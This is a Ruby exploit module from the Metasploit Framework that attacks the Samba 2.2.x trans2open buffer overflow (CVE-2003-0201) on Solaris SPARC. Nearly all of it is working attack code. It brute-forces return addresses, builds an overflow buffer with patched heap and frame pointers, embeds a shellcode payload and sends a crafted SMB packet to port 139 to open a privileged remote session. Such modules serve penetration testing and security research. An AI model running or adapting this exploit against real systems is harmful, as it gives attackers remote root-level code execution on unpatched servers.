##
# $Id: trans2open.rb 7724 2009-12-06 05:50:37Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::SMB

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'Samba trans2open Overflow (Solaris SPARC)',
      'Description'    => %q{
        This exploits the buffer overflow found in Samba versions
        2.2.0 to 2.2.8. This particular module is capable of
        exploiting the flaw on Solaris SPARC systems that do not
        have the noexec stack option set. Big thanks to MC and
        valsmith for resolving a problem with the beta version of
        this module.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 7724 $',
      'References'     =>
        [
          [ 'CVE', '2003-0201'],
          [ 'OSVDB', '4469'],
          [ 'BID', '7294'],
          [ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'MinNops'  => 512,
        },
      'Platform'       => 'solaris',
      'Targets'        => 
        [
          ["Samba 2.2.x Solaris 9 (sun4u)",  
            {
              'Arch' => ARCH_SPARC, 
              'Rets' => [0xffbffaf0, 0xffbfa000, 128, 0xffbffffc],
            },
          ],
          ["Samba 2.2.x Solaris 7/8 (sun4u)",
            {
              'Arch' => ARCH_SPARC, 
              'Rets' => [0xffbefaf0, 0xffbea000, 128, 0xffbefffc],
            }
          ],
        ],
      'DisclosureDate' => 'Apr 7 2003'
      ))
      
      register_options(
        [
          Opt::RPORT(139)
        ], self.class)
          
  end

  def exploit
  
    curr_ret = target['Rets'][0]
    while (curr_ret >= target['Rets'][1])
      break if session_created?
      begin
        print_status("Trying return address 0x%.8x..." %  curr_ret)

        connect
        smb_login
              
        #
        # The obstacle course:
        #   outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);
        #   smb_dump(smb_fn_name(type), 0, outbuf, outsize);
        #   return(outsize);
        #

        # This value *must* be 1988 to allow findrecv shellcode to work
        pattern = rand_text_english(1988)

        #
        # This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u
        #
        # Patch the overwritten heap pointers
        # substr($pattern, 1159, 4, pack('N', $target->[4]));
        # substr($pattern, 1163, 4, pack('N', $target->[4]));
        #
        # >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
        # substr($pattern, 1195, 4, pack('N', 0xffffffff));
        #
        # Fix the frame pointer (need to check for null in address)
        # substr($pattern, 1243, 4, pack('N', $target->[3]-64));
        #
        # Finally set the return address
        # substr($pattern, 1247, 4, pack('N', $curr_ret));
        #

        #
        # This method is more reliable against a wider range of targets
        #

        # Local variable pointer patches for early versions of 2.2.x
        pattern[1103, 36] = [target['Rets'][3] - 1024].pack('N') * 9

        # Overwrite heap pointers with a ptr to NULL at the top of the stack
        pattern[1139, 40] = [target['Rets'][3] - 1024].pack('N') * 10

        # Patch the type index into the smb_messages[] array...
        # >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0
        pattern[1179, 20] = [0xffffffff].pack('N') * 5

        # This stream covers the framepointer and the return address
        pattern[1199, 400] = [curr_ret].pack('N') * 100

        # Stuff the shellcode into the request
        pattern[3, payload.encoded.length] = payload.encoded

        trans =
          "\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
          "\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
          "\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
          pattern

        sock.put(trans)
        handler
        
      rescue EOFError
      rescue => e
        break
      end
      
      curr_ret -= target['Rets'][2]
    end
  end

end